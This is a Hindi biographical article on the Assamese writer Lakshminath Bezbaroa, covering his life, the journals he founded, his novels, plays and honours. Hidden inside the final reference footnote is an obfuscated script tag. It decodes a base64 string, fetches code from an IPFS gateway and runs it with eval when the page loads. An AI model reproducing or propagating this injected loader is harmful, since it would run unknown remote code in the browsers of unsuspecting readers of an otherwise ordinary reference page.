लक्ष्मीनाथ बेजबरुआ

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लक्ष्मीनाथ बेजबरुआ (जन्म- 18 नवंबर 1868, मृत्यु- 26 मार्च, 1938, डिब्रूगढ़ ज़िला, आसाम) असमिया भाषा के सबसे बड़े साहित्यकार, नाटककार थे। उन्होंने व्यंग और हास्य रचनाएं कीं। उनकी सेवाओं के लिए उन्हें 'साहित्य रथी' की उपाधि से सम्मानित किया गया था।

परिचय

असमिया भाषा के सबसे बड़े साहित्यकार लक्ष्मीनाथ बेजबरुआ का जन्म 18 नवंबर 1868 ईस्वी को डिब्रूगढ़ ज़िला (आसाम) में हुआ था। जिस समय बेजबरुआ पैदा हुए उस समय उनके माता-पिता ब्रह्मपुत्र नदी में नाव से यात्रा कर रहे थे। उनका बचपन असम में वैष्णवों के पवित्र तीर्थ बरपेटा में बीता। 1891 ई. में जब लक्ष्मीनाथ बेजबरुआ का विवाह महाकवि रविंद्रनाथ ठाकुर की भतीजी प्रज्ञा सुंदरी के साथ हो गया तो वे बंगाल के साहित्यकारों के और भी निकट आ गए। उस वक्त असमिया भाषा की शिक्षा की कोई व्यवस्था न होने के कारण बेजबरुआ की शिक्षा बंगला भाषा में आरंभ हुई। बाद में उन्होंने रिपन कॉलेज, कोलकाता से उच्च शिक्षा प्राप्त की। उन्होंने आजीविका के लिए उड़ीसा के संबलपुर में इमारती लकड़ी का व्यापार आरंभ किया था। वहां उनका परिचय उड़िया भाषा के साहित्य और साहित्यकारों से भी हो गया।[1]

योगदान

बेजबरुआ असमिया भाषा की प्रगति के लिए विद्यार्थी जीवन से ही प्रयत्नशील थे। उन्होंने अपने मित्रों के साथ 1888 में 'असमिया भाषा उन्नति साधनी सभा' नामक संस्था बनाई। 1889 में 'जोनाकी' नामक पत्रिका का प्रकाशन किया। इस पत्रिका के द्वारा बहुत से असमिया लेखक‍ असमिया भाषा के प्रति प्रोत्साहित हुए। फिर उन्होंने 20 वर्ष तक 'बांही' नामक साहित्यिक पत्रिका का संपादन किया। बेजबरुआ ने साहित्य की सभी विधाओं में रचना करके असमिया भाषा का भंडार भरा।

लेखन कार्य

लक्ष्मीनाथ बेजबरुआ ने दो वैष्णव संतों शंकरदेव और माधव की जीवनियां लिखीं। 'पदुम कुंवरि' नामक ऐतिहासिक उपन्यास और 'बेलिमार' 'जयमती' तथा 'चक्रध्वज सिन्हा' नामक देश भक्ति पूर्ण नाटक लिखे। उन्होंने बाल साहित्य की रचना की, जो बहुत प्रसिद्ध हुआ। उन्होंने प्रसिद्ध व्यंग और हास्य रचनाएं कीं।

ख्याति

बेजबरुआ को असमिया की नई कहानी का जनक ही माना जाता है। कविता के क्षेत्र में उनकी देशभक्ति पूर्ण रचनाएं, भक्ति और आध्यात्मिक गीत, गाथा गीत तथा लोकगीत सभी उच्चकोटि के माने जाते हैं। इस प्रकार बेजबरुआ ने असमिया साहित्य के सभी अंगों को मजबूत किया है। उनकी सेवाओं के लिए उन्हें 'साहित्य रथी' की उपाधि से सम्मानित किया गया था।

मृत्यु

लक्ष्मीनाथ बेजबरुआ का 26 मार्च, 1938 को डिब्रूगढ़ ज़िला, आसाम में निधन हो गया।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 757 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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